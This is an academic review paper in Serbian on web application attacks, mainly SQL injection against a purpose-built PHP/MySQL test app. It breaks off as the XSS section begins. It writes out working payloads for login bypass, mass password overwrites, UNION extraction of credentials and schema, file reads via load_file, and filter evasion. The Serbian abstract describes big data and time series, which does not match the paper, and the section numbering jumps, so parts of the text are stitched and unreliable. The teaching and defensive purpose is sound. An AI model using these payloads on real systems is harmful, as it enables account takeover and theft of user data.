Univerzitetska misao - časopis za nauku, kulturu i umjetnost [ISSN: 1451-3870]

Vol. 16, str. 147-167, 2017 god., web lokacija gde se nalazi rad: <http://um.uninp.edu.rs>

Tematska oblast u koju se svrstava rad: Društvene i humanističke nauke / podoblast: Informatika

Datum prijema rada: 1.11.2017.

Datum prihvatanja rada: 10.11.2017.

UDK: 004.738.5.056

doi:10.5937/univmis1716147S

Pregledni rad

BEZBEDNOST U INTERNET OKRUŽENJU I KONKRETNI PRIMERI NAPADA

Muzafer H. Saračević, Prof. dr

Internacionalni Univerzitet u Novom Pazaru

Novi Pazar, Srbija

muzafers@uninp.edu.rs

Nermin Rešović, Msc.

Internacionalni Univerzitet u Novom Pazaru

Novi Pazar, Srbija

nerminresovic@hotmail.com

Apstrakt

Za ljude koji trebaju donositi važne odluke, ima dosta podataka koje treba rukovati. Ogromna količina podataka poznata pod nazivom veliki podaci označava velike skupove podataka koji imaju veliku brzinu i raznovrsnost, što ih čini teškim za korištenje nekih poznatih tehnika i alata. Glavna ideja rukovanja velikim podacima je pružiti dragocene uvide za donosiocima odluka da donose vrijedne i precizne odluke. Najbolji način kako se baviti velikim podacima je korišćenje velike analize podataka, koja uključuje metodologiju vremenskih serija. Ovaj rad ima cilj da prođe kroz literaturu koja se odnosi na velike podatke, vremenske serije i različite metode analize velikih podataka koristeći rudarenje podataka.

Ključne reči: Sigurnost web aplikacija, Cyber prostor, Zaštitni mehanizmi na internetu, SQL injection napad, XSS i CSRF napad

SECURITY IN THE INTERNET ENVIRONMENT AND CONCRETE EXAMPLES OF ATTACKING

Abstract

This article describes how to implement the attack, as well as the ability to implement an application's defense against an attacker. The implementations that are most commonly used today as methods of attack on Web applications are presented. The main goal was to investigate the possibilities of abuse of security failures of modern web applications, and based on this, the analytical and descriptive method as well as the methods of case analysis were applied.

It is also analyzed how the attack practically works, testing it on a pre-prepared application to test each attack individually. In addition, there are also examples of how web application users

can be compromised and what risks exist. It is also presented and in what way each attack can be removed and the mechanism for protecting the application from the attacker is established.

Key words: Security of web applications, Cyber space, Internet security mechanisms, SQL injection attack, XSS and CSRF attack.

1. UVODNA RAZMATRANJA

Najranjiviji delovi aplikacije su oni gde aplikacija prihvata ulazne podatke od strane korisnika i tu treba posvetiti najviše pažnje. Postoji veliki broj programera koji nemaju dovoljno znanja o zaštiti i sigurnosti aplikacija koje razvijaju. Međutim, postoje i oni koji imaju dovoljno znanja i u mogućnosti su da zaštite aplikaciju na najbolji mogući način ali su jednostavno lenji misleći da neće njegova aplikacija pasti u ruke napadaču. Pri razvoju aplikacije, programer mora razmišljati o najgorem mogućem događaju koji se može odigrati prilikom napada i implementirati zaštitu za sve vrste napada na najbolji mogući način.

Većina web aplikacija koriste bazu podataka da bi čuvale različite vrste informacija. Jezik koji se koristi za pristup podacima u bazi podataka je Structured Query Language (SQL). Web aplikacije konstruišu izraze u vidu SQL izraza preko kojih dolaze do korisničkih podataka. Ako se ovo odradi na nesiguran način, tada aplikacija postaje ranjiva na SQL injection napad. U nekim ozbiljnijim napadima, SQL injection može da omogući napadaču da čita i modifikuje sve podatke koji se čuvaju, čak može da omogući napadaču potpunu kontrolu nad serverom u kome je implementirana baza podataka [1,2,4].

Kako se svest o zaštiti web aplikacija razvila, SQL injection napadi su sve manje upotrebljivi, mnogo je teže upotrebiti ovaj vid napada na aplikacijama današnjice. Pre nekoliko godina SQL injection napadi su bili učestali, pošto nije bilo dovoljno dobro razvijenog mehanizma zaštite. Napadač je izvršavao SQL injection napad jednostavnim unosom apostrofa u polje forme. SQL injection napadači koriste da bi došli do neovlašćenog pristupa bazi podataka i prikupili podatke iz nje [3,5]. Principi koji se koriste u ovim napadima su jednostavni za izvršavanje i upravljanje.

7. ANALIZA APLIKACIJE ZA TESTIRANJA NEKIH NAPADA

Za potrebe testiranja ranjivosti, napravili smo prostu aplikaciju koja prihvata i prikazuje komentare korisnika. Aplikacija ima funkcije: prijavljivanje korisnika, čitanje komentara, pregled i pretragu korisničkih računa drugih korisnika, registracija novog korisnika, izmena stare lozinke korisničkog računa i unos komentara prijavljenih korisnika. Aplikacija za testiranje je odrađena u PHP i MySQL okruženju. Baza podataka ima dve tabele: "*login*" i "*komentari*". Tabela "**login**" ima pet kolona: *ID_login*, *Username*, *Password*, *Mail*, i *Admin*.

#	Name	Type	Collation	Attributes	Null	Default	Extra	Action
☐	1 <u>ID_login</u>	int(11)			No	None	AUTO_INCREMENT	Change Drop More
☐	2 <u>Username</u>	varchar(20)	utf8_general_ci		No	None		Change Drop More
☐	3 <u>Password</u>	varchar(20)	utf8_general_ci		No	None		Change Drop More
☐	4 <u>Mail</u>	varchar(60)	utf8_general_ci		No	None		Change Drop More
☐	5 <u>Admin</u>	tinyint(1)			No	None		Change Drop More

Slika 1. Tabela "login"

Tabela "**komentari**" ima četiri kolone: *ID_komentara*, *ID_login*, *Komentar* i *Datum*. Kolona *ID_login* je Foreign key (spoljni ključ) i u sebi nosi vrednost ključa iz tabele *login*, na taj način identifikujemo korisnika i njegove komentare u aplikaciji.

#	Name	Type	Collation	Attributes	Null	Default	Extra	Action
☐	1 <u>ID_komentara</u>	int(11)			No	None	AUTO_INCREMENT	Change Drop Primary More
☐	2 <u>Komentar</u>	text	utf8_general_ci		Yes	NULL		Change Drop Primary More
☐	3 <u>ID_login</u>	int(11)			No	None		Change Drop Primary More
☐	4 <u>Datum</u>	varchar(20)	utf8_general_ci		No	None		Change Drop Primary More

Slika 2. Tabela "komentari"

Za rad sa bazom podataka korišćen je PDO interfejs. Po našem mišljenju, to je jedan od trenutno najsigurnijih interfejsa implementiranih u PHP jeziku. Aplikacija se sastoji od ukupno sedam PHP stranica, od kojih se one koje sadrže izvorni kod za rad sa podacima nalaze u folderu "ukljuci". U njima se nalaze klase potrebne za rad aplikacije, i njih učitavamo i pravimo objekte po potrebi u drugim stranicama.

Važna stavka zaštite u aplikacijama je onemogućiti listanje fajlova u folderima. To se rešava dodavanjem index stranice u folderu. Stranica može biti prazna, ili sa nekim sadržajem. Naša aplikacija u folderu "ukljuci" ima index.php stranicu, koja ima samo jednu ulogu, a to je da spreči korisnike, koji posete folder "ukljuci" putem svojih pretraživača, da listaju fajlove u istom. Folder "ukljuci" u sebi sadrži sledeće stranice: komentari.php, konekcija.php, logovanje.php, racuni.php.

- Stranica konekcija.php ne sadrži klasu, u njoj je sadržana promenljiva koja u sebi sadrži konekciju sa bazom podataka. Ona se dalje koristi u drugim stranicama da bi se osigurala konekcija aplikacije sa bazom podataka.

- Stranica logovanje.php u sebi sadrži klasu logovanje koja se sastoji od konstruktora u kome se osigurava konekcija sa bazom podataka, destruktora u kome se raskida konekcija sa bazom podataka i jednom funkcijom proveri koja prihvata dva parametra: username i password. Ukoliko je korisnik uneo ispravno podatke, dodeljuje mu se sesija i funkcija vraća vrednost "true", u protivnom funkcija vraća vrednost "false".

- Stranica komentari.php je razvijena za potrebe izvršavanja operacija nad komentarima (listanje komentara i dodavanje novih komentara). Ova stranica ima isti konstruktor i destruktora kao i prethodna (logovanje.php), s tim što ima i dve funkcije: listajsve i dodajkomentar.

- Funkcija Listajsve lista sve komentare iz baze podataka kao i korisnike koji su pisali iste, i vraća podatke na izlazu.
- Funkcija Dodajkomentar dodaje nove komentare u bazu podataka, prihvata dva parametra: idsesije i komentar. Ukoliko je dodavanje komentara uspešno okončano, funkcija vraća vrednost "true", u protivnom vraća vrednost "false".
 - Stranica racuni.php u sebi ima implementiranu klasu racuni sa funkcijama za podatke o korisničkim računima. Konstruktor i destruktor je isti kao i u ranije objašnjenim stranicama. Klasa u sebi ima četiri funkcije: podaciprofila, brojpostova, pretrazi, preuzmiusername, registruje i izmeniprofil.

DOBRO DOŠAO/LA **admin**

[Pregled računa](#)

[Odjavi se](#)

Pretraga:

[admin](#) : Komentar admina
01.12.2013

[admin](#) : Komentar od strane napadača za koji se misli da je produkt admina
01.12.2013

[korisnik](#) : komentar korisnika
01.12.2013

[korisnik](#) : Lazno predstavljanje napadaca nakon ukradene sesije
01.12.2013

[napadac](#) : [Link](#)
01.12.2013

Slika 3. Početna stranica aplikacije

Početna stranica aplikacije (*index.php*) ima implementiranu pretragu korisnika, komentare i polje za unos komentara (ukoliko je korisnik prijavljen na aplikaciju). Aplikacija ima implementiranu formu prijave korisnika, gde se autentifikacija i prijava korisnika na aplikaciju vrši proverom unetih podataka od strane korisnika. Funkcije u navedenoj aplikaciji su:

- Funkcija *podaciProfila* obuhvata podatke korisničkog profila zavisno od ID profila koji se prosleđuje funkciji.
- Funkcija *brojPostova* koristi isti parametar kao i funkcija *podaciprofila*, ova funkcija broji komentare od strane jednog korisnika.
- Funkcija *preuzmiUsername* obuhvata korisnički username na osnovu ID parametra koji joj se prosleđuje. Ova funkcija ima samo jednu ulogu, i samo

jednom se poziva u aplikaciji, za štampanje pozdravne poruke korisniku koji posećuje aplikaciju.

- Funkcija *pretrazi* služi za pretragu korisnika na osnovu unetih parametara pretrage. Ona prihvata jedan parametar koji predstavlja tekst na osnovu kojeg se pretražuje baza podataka.
- Funkcija *registrujse* služi za registraciju korisnika, prihvata parametre: *username*, *password* i *mail*. Dodaje u bazu podatke i kreira novi korisnički račun.
- Funkcija *izmeniProfil* menja staru lozinku korisnika novom i prihvata parametre: *idProfila*, *staraLozinka*, *novaLozinka*, *ponovljena*. Proverava da li je korisnik uneo ispravno staru lozinku, da li je dva puta isto napisao novu lozinku i u slučaju da je uslov zadovoljen, menja staru lozinku u bazi novom lozinkom koju je korisnik uneo.

Nakon što se korisnik uspešno prijavi, biće mu omogućeno postavljanje komentara. Stranica *pregled.php* prikazuje podatke određenog korisnika (korisničko ime, mail, broj postova i status).

Slika 4. Forma za prijavu korisnika

Slika 5. Sadržaj stranice "pregled.php"

Stranica *registracija.php* služi za registrovanje novog korisnika. Od ulaznih parametara zahteva se od korisnika da ispravno popuni korisničko ime, lozinku, i e-mail adresu. Ukoliko je registracija prošla bez problema, korisniku će se ispisati poruka o uspešnom registrovanju, u suprotnom korisniku se štampa poruka o vrsti greške.

Stranica *profil.php* prikazuje podatke korisnikovog računa i nudi mogućnost promene korisničke lozinke, tako što se zahteva od korisnika da ispravno popuni polje za unos stare lozinke, i dva puta ponovi iste podatke o novoj lozinki. I ovde imamo implementiranu poruku o uspešnosti zamene lozinke, i mehanizam štampanja poruka o greškama prilikom izmene podataka.

Slika 6. Sadržaj stranice "registracija.php"

Slika 7. Sadržaj stranice "profil.php"

8. KONKRETNI PRIMERI SQL INJECTION NAPADA

SQL injection je napad prilikom kojeg napadač umetanjem SQL koda pokušava iskoristiti ranjivost web aplikacije. Prilikom tog umetanja menja se sintaksa originalnog SQL upita i aplikacija umesto originalnog upita izvršava modifikovani upit. Prvo šta će napadač tražiti na aplikaciji je da pronađe način na koji će biti u mogućnosti uneti podatke koji će narušiti SQL upit u aplikaciji. Provera SQL ranjivosti na aplikaciji za testiranje se može odraditi na stranici pregled.php.

Uzmimo za primer pregled korisnika čiji ID je 3. Link sa parametrom stranice će izgledati ovako: <http://localhost/TestAplikacija/pregled.php?id=3>. SQL upit koji će aplikacija odraditi je sledeći: `select * from login where ID_login = 3`. Na ovaj način izveštaj aplikacije obuhvata podatke iz tabele login gde je vrednost ID primarnog ključa 3. Ukoliko napadač izmeni link, i doda još ' or 1=1 desno od vrednosti id parametra, aplikacija će javiti sledeću grešku:

Na ovaj način aplikacija će izvršiti sledeći SQL upit:

```
select * from login where ID_login = 3 ' or 1=1
```

U ovom slučaju, interpreter dobija podatke na isti način kako je to gore objašnjeno. On uzima podatke, koji su odvojeni jednostrukim apostrofom, prihvata podatak 3, zatim dolazi do podatka ' or 1=1 i tu nailazi na problem, pošto imamo otvoren apostrof i nigde ga kasnije nismo zatvorili pre "or" naredbe. Kada se aplikacija ponaša na ovaj način, ona je ranjiva na SQL Injection napad. Napadač može jednostavno da ukloni apostrof iz linka i tako sebi osigura izvršavanje SQL upita bez greške. Onda može dodati drugi proizvoljan SQL da bi izmenio originalni upit.

U gore navedenom primeru, napadač može da izmeni upit i dobije sve korisnike koji se nalaze u tabeli "login", tako što unosi sledeći iskaz: `OR 1=1--`. Ovo za posledicu ima da aplikacija izvrši sledeći upit: `select * from login where ID_login = 3 or 1=1-`. Na ovaj način se modifikuje originalni WHERE izraz i dodaje drugi zahtev. Baza podataka će proveriti svaki red u tabeli "login" i izlistati sve podatke gde "ID_login" kolona ima vrednost "3" ili gde je 1 jednako 1. Zato što je 1 uvek jednako 1, baza podataka će izlistati sve podatke koje se nalaze u tabeli "login" i biće prikazani

napadaču. U gore navedenom primeru "--" znaci kazuju interpreteru da je reč o komentarima i da treba da zanemari sve što se nalazi sa desne strane od ovih znakova. U nekim situacijama alternativni način da se uspešno izmeni SQL upit bez korišćenja znakova komentara jeste primena metode "ravnoteže apostrofa". Na primer, ako aplikacija izvršava upit: `SELECT * FROM login WHERE Username = 'admin' and Password = 'admin'`. Drugi primer je unos sledećeg iskaza za password: `admin' OR 'a' = 'a`, onda se izvršava sledeći upit: `SELECT * FROM login WHERE Username = 'muzafer' and Password = 'saracevic' OR 'a' = 'a'`.

3.1. Zaobilaženje login provere

Mnoge aplikacije koje imaju implementirane form bazirane login funkcije koriste bazu podataka za čuvanje korisničkih podataka i koriste jednostavne SQL upite za proveru validnosti unetih podataka prilikom prijave. Tipičan primer ovog SQL upita, koji koristi i naša test aplikacija je: `select * from login where Username = 'muzafer' and Password= 'saracevic'`.

Ovaj upit zahteva od baze podataka da proveru svaki red u tabeli login gde kolona Username ima vrednost muzafer i kolona Password ima vrednost saracevic. Ukoliko se red sa ovim podacima u tabeli pronade, prijava korisnika je uspešna i aplikacija kreira sesiju za korisnika. Kao u gore navedenom primeru, napadač može da umetne u polje namenjeno za unos korisničkog imena, ili u password polje svoj tekst tako da izmeni upit koji je kreiran od strane programera i obori logiku aplikacije. Na primer, ako napadač zna da je korisničko ime administratora "admin", on se može uspešno prijaviti na aplikaciju koristeći bilo koju lozinku umetanjem sledećeg teksta u polje namenjeno unosu korisničkog imena: `admin' --`. Na ovaj način aplikacija izvršava sledeći SQL upit: `select * from login WHERE Username = 'admin' -- ' AND Password = 'jdgdf'`. Kada odstranimo komentar koji aplikacija neće izvršiti, konačni SQL upit izgleda ovako:

```
SELECT * FROM login WHERE Username = 'admin'
```

U velikom broju aplikacija, prvi korisnički račun je upravo administratorski, zato što je ovaj korisnički račun u velikom broju slučajeva prvi kreiran u bazi i to manuelno, pa se tek kasnije preko njega kreiraju ostali računi. Ukoliko upit vraća detalje više korisnika, mnoge aplikacije će jednostavno obraditi samo prvog korisnika na koji naiđe. Napadač može iskoristiti ovo ponašanje da bi se prijavio sa podacima prvog korisnika u bazi podataka, tako što za korisničko ime unosi sledeći iskaz: `' OR 1=1 --`.

Na ovaj način aplikacija obrađuje upit:

```
SELECT * FROM login WHERE Username = '' OR 1=1 --' AND Password = 'hfds'
```

Kad se ukloni komentar, aplikacija izvršava sledeći upit:

```
SELECT * FROM login WHERE Username = '' OR 1=1
```

3.2. Primeri zloupotrebe različitih vrsta naredbi

SQL jezik sadrži veći broj naredbi koji se mogu nalaziti na početku iskaza. Zato što se iskaz `SELECT` najviše koristi, upravo ova naredba je najviše zloupotrebljena od strane napadača. Skoro svi primeri SQL injection napada koji se mogu naći u

literaturi su vezani za SELECT naredbu. SQL injection napad se može izvršiti i na drugim tipovima naredbi, kao što su: Insert, Update i Delete.

3.2.1 SELECT naredba

Kao što je već bilo reči, glavni deo SQL naredbe koji je bitan napadaču je WHERE deo upita gde napadač menja upit i ostvaruje drugačije ponašanje aplikacije od onog uobičajenog. Zato što je WHERE deo upita obično poslednja komponenta Select naredbe, ovo omogućuje napadaču da koristi simbole komentara da bi skratio upit bez narušavanja valjanosti sintakse. Po nekad je moguće izvršiti napad i na druge delove SQL upita, kao što su ORDER BY naredbe, ili naredbe pomoću kojih napadač može doći do naziva tabela u bazi podataka.

3.2.2 INSERT naredba

INSERT naredba se koristi da bi se kreirao novi red podataka u tabeli. Na primer, aplikacija može dozvoliti korisniku registraciju, precizirajući sopstveno korisničko ime i lozinku (kako je to slučaj i sa našom test aplikacijom). Može uneti detalje u "login" tabeli sledećim upitom: insert into login (Username, Password, Mail) values ('muzafer', 'saracevic', 'muzafers@gmail.com')

Ako su polja "username" ili "password" ranjivi na SQL Injection, napadač može uneti proizvoljne podatke u tabeli, uključujući i njegove sopstvene podatke. On može uneti sledeći podatak u polje namenjeno za unos korisničke lozinke: lozinka, 'mail@mail.com') -- .

Što će kreirati nalog čiji je mail "mail@mail.com", lozinka "lozinka". Kada napadač zloupotrebljava INSERT naredbu, on u nekim situacijama ne može znati koliko parametara je potrebno uneti, ili koje tipove podataka treba da unese. U tim situacijama napadač unosi proizvoljne podatke u VALUES delu SQL upita sve dok se dodavanje novog korisničkog računa ne okonča uspešno. Na primer, ako zloupotrebljava "username" polje, napadač može unositi sledeće:

```
napadac')--  
napadac',1)--  
napadac',1,1)--  
napadac',1,1,1) –
```

Zato što će većina baza podataka automatski konvertovati celobrojni podatak u string, celobrojni podaci se mogu koristiti za svaki od vrednosti. U ovom slučaju kreiraće se novi korisnički račun čije je korisničko ime "napadac" i password "1". Ukoliko se vrednost "1" odbija od strane aplikacije, može se probati neka druga vrednost, na primer 2000 što će mnogo baza podataka prihvatiti.

3.2.3 UPDATE naredba

Naša aplikacija za testiranje u funkciji za izmenu korisničke lozinke koristi dva SQL upita, jedan je za proveru da li je korisnik uneo ispravnu staru lozinku, i drugi je za unos nove lozinke. Na ovaj način, korisnik je obavezan da unese ispravno staru

lozinku, ali isto tako može izmeniti drugi SQL upit tako da izmeni lozinke svim korisničkim nalogima. Na primer, kada korisnik menja svoju lozinku aplikacija će izvršiti sledeći upit:

```
UPDATE login SET Password = 'novalozinka' WHERE ID_login = 2.
```

Ovaj upit menja vrednost polja Password u "novalozinka" u redu gde je vrednost polja ID_login 2. Napadač može u polje za unos lozinke uneti sledeću vrednost i svim korisničkim računima izmeniti njihove postojeće lozinke u lozinku po njegovoj volji: lozinkapovolji' --. Na ovaj način aplikacija će izvršiti sledeći upit:

```
UPDATE login SET Password = 'lozinkapovolji' -- WHERE Username = 'korisničkoime'.
```

Pošto smo stavili znake komentara, sve što se nalazi desno od njih se neće izvršiti, tako da aplikacija obrađuje sledeći konačni upit: UPDATE login SET Password = 'lozinkapovolji'.

Napadač može takođe izmeniti lozinku samo ciljanom korisniku, ukoliko u polje za lozinku unese sledeću vrednost: nekalozinka' where Username = 'admin' -- . Na ovaj način, napadač će izmeniti lozinku samo admin korisniku i staviti da ona ima vrednost "nekalozinka". Aplikacija će u ovom slučaju izvršiti sledeći upit:

```
UPDATE login SET Password = 'nekalozinka' WHERE Username = 'admin'.
```

Napadač može menjati i vrednosti drugih kolona u tabeli. Recimo unosom sledećeg teksta u polju namenjenom za unos nove lozinke, napadač će svim korisnicima izmeniti korisnička imena u imena koja on želi: nekalozinka', Username = 'nekoime'--. Sa ovakvim parametrima aplikacija izvršava sledeći upit: UPDATE login SET Password = 'nekalozinka', Username = 'nekoime' -- WHERE Username = 'korisnik'. Ovde važi isto kao i pre, napadač može izmeniti i ostale vrednosti u bazi svim korisnicima, ili samo nekima od njih dodavanjem WHERE iskaza u tekstu: nekalozinka', Username = 'nekoime' where Username = 'korisnik' --. Napadač će izmeniti korisničko ime i lozinku korisniku čije je korisničko ime "korisnik".

3.2.4 DELETE naredba

DELETE naredba se koristi za brisanje jednog ili više redova u tabeli. Na primer, u slučaju gde korisnik uklanja stavke iz svoje potrošačke korpe ili briše adresu prijema iz svojih ličnih podataka. Kao što je to bio slučaj sa UPDATE i DELETE naredbama, WHERE izraz se i ovde koristi da bi se preciziralo bazi podataka koje redove treba obrisati. Zloupotreba WHERE izraza u ovoj vrsti naredbe može prouzrokovati velike posledice. Isti način zloupotrebe se može primeniti kao i kod već opisane UPDATE naredbe.

3.2.5 UNION operator

Kada su web aplikacije ranjive na SQL Injection napad koji se pojavljuje u SELECT naredbi, napadač se može koristiti UNION operatorom da bi kreirao drugi, potpuno odvojeni upit, i kombinovao njegove rezultate sa prvim koji je programer kreirao prilikom izrade aplikacije. Ukoliko se rezultat upita prikazuje u browseru, ova tehnika se može koristiti za dobijanje proizvoljnih podataka iz baze podataka. Pre

nego se ovaj vid napada može upotrebiti, treba obratiti pažnju na dva bitna uslova koja se trebaju ispuniti:

- Kada su rezultati dva upita kombinovana koristeći UNION operator, oba moraju imati istu strukturu, moraju sadržati isti broj kolona koji imaju iste ili kompatibilne tipove podataka.

- Da bi uspešno ubacio drugi upit koji će prikazati tražene podatke, napadač mora da zna ime tabele u bazi iz koje želi da dobije podatke, kao i imena kolona.

Kao primer, uzećemo stranicu za pregled drugih profila (pregled.php). Napadač može zloupotrebiti parametar id koji se nalazi u linku tako što će mu dodati UNION parametar i na taj način može dobiti lozinku određenog korisnika. Recimo da je napadač učitao stranicu pregled.php i gleda podatke korisnika čiji je ID profila 2. On će posetiti sledeću stranicu:

<http://localhost/TestAplikacija/pregled.php?id=2>. Naša aplikacija za testiranje izvršava sledeći SQL upit: `select * from login where ID_login = 2`.

Ovo konkretno znači da će aplikacija odštampati sve podatke korisnika čiji ID ima vrednost 2 iz tabele login. UNION operator mora imati isti broj kolona i istu strukturu kolona kao i SELECT naredba na početku. Prvi korak koji napadač preuzima je da otkrije broj kolona koji vraća originalni SQL upit. To može uraditi na više načina. Jedan od njih je da se koristi NULL vrednostima, pošto je NULL tip koji se može konvertovati u bilo koji drugi tip podataka.

U ovom slučaju napadač će dodavati sledeće parametre u adresi, sve dok aplikacija ne prestane da mu izbacuje grešku.

`UNION SELECT NULL`

`UNION SELECT NULL, NULL`

`UNION SELECT NULL, NULL, NULL`

`UNION SELECT NULL, NULL, NULL, NULL`

`UNION SELECT NULL, NULL, NULL, NULL, NULL`

Ovo znači da originalni SQL upit vraća vrednosti pet kolona. Konačni URL sa parametrima će biti: <http://localhost/TestAplikacija/pregled.php?id=2> UNION SELECT NULL, NULL, NULL, NULL, NULL

Drugi način je zloupotreba ORDER BY izraza u originalnom upitu i povećavanje rednog broja kolone sve dok se ne javi greška. Napadač će unositi sledeće attribute u URL: ORDER BY 1, ORDER BY 2 ... ORDER BY 6. Nakon poslednjeg parametra (ORDER BY 6), aplikacija javlja grešku:

Warning: Invalid argument supplied for foreach() in C:\wamp\www\TestAplikacija\pregled.php on line 20				
Call Stack				
#	Time	Memory	Function	Location
1	0.0020	144688	{main}()	..\pregled.php:0

Što znači da originalni SQL upit vraća vrednosti onoliko kolona kolika je bila vrednost ORDER BY parametra kada aplikacija nije prijavila grešku (pet kolona).

Kada napadač dođe do podatka o broju kolona koje originalni SQL upit koristi, napadač može dobiti vrednost proizvoljne tabele i kolone.

Na primer, unosom sledećeg parametra, napadač će doći do podatka o korisničkoj lozinki: `UNION SELECT NULL, Username, NULL, Password, NULL from login`.

URL koji će napadač učitati je sledeći:

`http://localhost/TestAplikacija/pregled.php?id=2 UNION SELECT NULL, Username, NULL, Password, NULL from login`.

Na ovaj način, aplikacija će ispisati sva korisnička imena i lozinke. U browseru korisnička imena će biti u polju "Username", dok će lozinke biti u polju "Mail":

Username	Mail	Status
admin	admin@admin.com	Administrator
admin	adminlozinka	Korisnik
korisnik	korisniklozinka	Korisnik
napadac	napadacpassword	Korisnik

Slika 8. Prikaz korisničkih imena i lozinke svih korisnika aplikacije

3.3 Dodatne akcije koje napadači preduzimaju

U nastavku sledi još nekoliko trikova kojim se služe napadači kako bi došli do poverljivih informacija. Za primer ćemo koristiti SQL injection metodu umetanja parametara u URL adresu stranice. Za potrebe testiranja i ovaj put ćemo koristiti stranicu *pregled.php*.

3.3.1 Verzija MySQL-a

Način na koji napadač dolazi do verzije MySQL servera je relativno jednostavan i u tom slučaju se može kristiti komanda `version()`. Ova komanda prikazuje verziju MySQL-a. U nekim slučajevima će prikazati i ime baze podataka, i ime korisnika baze. Parametar koji napadač unosi je: `UNION SELECT NULL, version(), NULL, NULL, NULL`. Na ovaj način napadaču će se ispisati verzija MySQL servera u polju Username. Ceo link aplikacije za testiranje je:

`http://localhost/TestAplikacija/pregled.php?id=2 UNION SELECT NULL, version(), NULL, NULL, NULL`

Slika 9. Štampanje verzije MySQL servera u aplikaciji

Ukoliko ovaj način ne pomogne, onda se napadač može služiti sledećim:
 UNION SELECT NULL, @@version(), NULL, NULL, NULL

3.3.2 Imena tabela i kolona u tabelama

Ako se radi o MySQL serveru čija je verzija 4, nije moguće izvući imena tabela, odnosno imena tabela se mogu samo nagađati. U tom slučaju se mogu probati razna imena tabela: admin, members, users, login. Primer:

`http://localhost/TestAplikacija/pregled.php?id=2 UNION SELECT NULL, NULL, NULL, NULL, NULL from admin.`

Ukoliko se ne javi nikakva greška, to je znak da postoji ta tabela u bazi, u suprotnom napadač menja ime tabele, u gore navedenom primeru je to tabela "admin" sve dok server ne odgovori bez greške. Od velike pomoći napadaču može biti recimo ako sajt koji se napada koristi neki CMS kao što je WordPress ili Joomla, ili koristi neki forum na kom znamo imena tabela. Ukoliko nam je MySQL verzija novija u tom slučaju server ima integrisanu Information_schema bazu. To je posebna baza koja sadrži informacije o tabelama, kolonama i ostalim bazama koje se nalaze na istom serveru i koje su kreirane od strane istog korisnika.

Za liste tabela koristimo: `table_name` iz `information_schema.tables`.

`http://localhost/TestAplikacija/pregled.php?id=2 UNION SELECT NULL, table_name, NULL, NULL, NULL FROM information_schema.tables.`

Na ovaj način server će nam vratiti listu svih tabela koje se nalaze u bazi i biće prikazani u Username polju u aplikaciji. Dobijanje svih kolona koje se nalaze u bazi se radi po sličnom principu kao i dobijanje tabela, s tim što koristimo `column_name`:

`http://localhost/TestAplikacija/pregled.php?id=2 UNION SELECT NULL, column_name, NULL, NULL, NULL FROM information_schema.columns.`

Ako želimo da dobijemo kolone određene tabele, to ćemo uraditi tako što dodajemo WHERE komandu u parametru, na sledeći način:

`http://localhost/TestAplikacija/pregled.php?id=2 UNION SELECT NULL, column_name, NULL, NULL, NULL FROM information_schema.columns where table_name = 'login'.`

Na ovaj način dobijamo listu svih kolona koje se nalaze u tabeli *login*.

3.3.3 Load_file funkcije

Load_file funkcija služi za čitanje fajla i prikazivanje njegovog sadržaja u vidu teksta. Fajl je kreiran na serveru, tako da napadač mora da ima određene privilegije da bi koristio ovu funkciju. Zbog toga što za rad sa ovom funkcijom napadač treba da ima određene privilegije na serveru, ova funkcija se i ne koristi baš tako često u napadima. Recimo ako fajl nosi ime "password", napadač može umetnuti sledeći tekst:

```
www.nekisajt.com/index.php?id=1 UNION SELECT load_file('putanja/password'),2
```

3.3.4 Zaobilaženje filtera

Recimo da aplikacija koja se napada blokira tekstove tipa UNION, ALL i SELECT, možemo probati sa menjanjem slova iz velikih u mala: UnIoN SeLeCt NULL, version(), NULL, NULL, NULL. Na nekim sajtovima je potrebno određeni deo teksta pretvoriti u hexadecimalne vrednosti, obzirom da filter u aplikaciji blokira neke od naredbi. U tom slučaju možemo koristiti hex i unhex funkcije: UNION SELECT NULL, unhex(hex(version())), NULL, NULL, NULL. Neke aplikacije poseduju filtere koji ne dopuštaju praznine, u tom slučaju se mogu koristiti znakovi komentara:

```
/**/UNION/**/SELECT/**/NULL/**/version(),/**/NULL/**/NULL/**/NULL .
```

Postoji veliki broj alata za proveru SQL ranjivosti i neki od njih se mogu naći u BackTrack operativnom sistemu zasnovanom na Linux-u, kao što je SQLMAP. Predstavimo alat koji poseduje GUI i kreiran je za Windows platformu, alat pod imenom "HAVIJ". HAVIJ je automatizovani SQL injection alat koji pomaže u testiranju i otklanjanju SQL injection ranjivosti web aplikacija. Koristeći ovaj alat korisnik može da otkrije bazu podataka koju koristi aplikacija, tabele u bazi, podatke koji se nalaze u tabelama, dodaje, briše i menja sadržaj podataka u tabelama, izvršava SQL upite i izvršava shell komande. Osim toga, ovaj alat ima implementiranu pretragu admin stranice, koja se bazira na nagađanju naziva (koristi listu najviše korišćenih imena za admin stranice) i čitanju statusnog broja koji vraća server. HAVIJ podržava GET i POST metode. POST metoda je malo zahtevnija, obzirom da napadač mora da gleda u izvorni kod stranice, pokupi imena polja za unos podataka, kao i stranicu kojoj se šalju podaci POST metodom.

Glavni razlog SQL injecton ranjivosti je nedovoljna validacija ulaznih podataka. Tako da je u sprečavanju ovog napada veoma bitno filtriranje i validacija podataka koje korisnik unosi. Osim ispitivanja veličine, tipa i sadržaja ulaznih podataka potrebno je koristiti i pripremljene procedure. Ukoliko je aplikacija odrađena u PHP jeziku, postoje interfejsi baza podataka koji imaju funkcionalnost "prepare statement", to su MySQLi i PDO. Na ovaj način aplikacija unapred zna strukturu SQL upita i očekuje prijem samo podataka, ne SQL naredbi.

MySQLi je razvijen samo za MySQL baze podataka, i samo sa MySQL može raditi, postoje dve varijante ovog drajvera, proceduralni i objektno orjentisan [11]. PDO je objektno orjentisan, i u mogućnosti je da radi sa 12 različitih baza podataka. PDO ima ugrađenu proveru za apostrofe, tako da iste ne treba unositi u SQL upitu. Sa druge strane PDO je sporiji u izvršavanju naredbi od MySQLi-a.

9. CROSS-SITE SCRIPTING NAPAD (XSS)

Cross-Site Scripting (XSS) je vrsta napada koja omogućuje napadaču ubacivanje client-side JavaScript koda u stranice web aplikacije [9]. Ova vrsta napada se takođe može koristiti za zaobilaženje kontrola pristupa. XSS je tehnika napada koja primorava web sajt da prikaže štetan kod koji se izvršava na klijentu. XSS ne napada server, već klijenta. Jednom kada napadač preuzme kontrolu nad korisničkim browserom, može uraditi mnoge akcije kao što su: krađa korisničkog računa, snimanje šta korisnik kuca na tastaturi, krađa istorije pregledanja, itd. Da bi browser bio zaražen on mora posetiti stranicu koja u sebi sadrži štetan kod. Postoji nekoliko načina kojim se JavaScript štetan kod može naći na stranici:

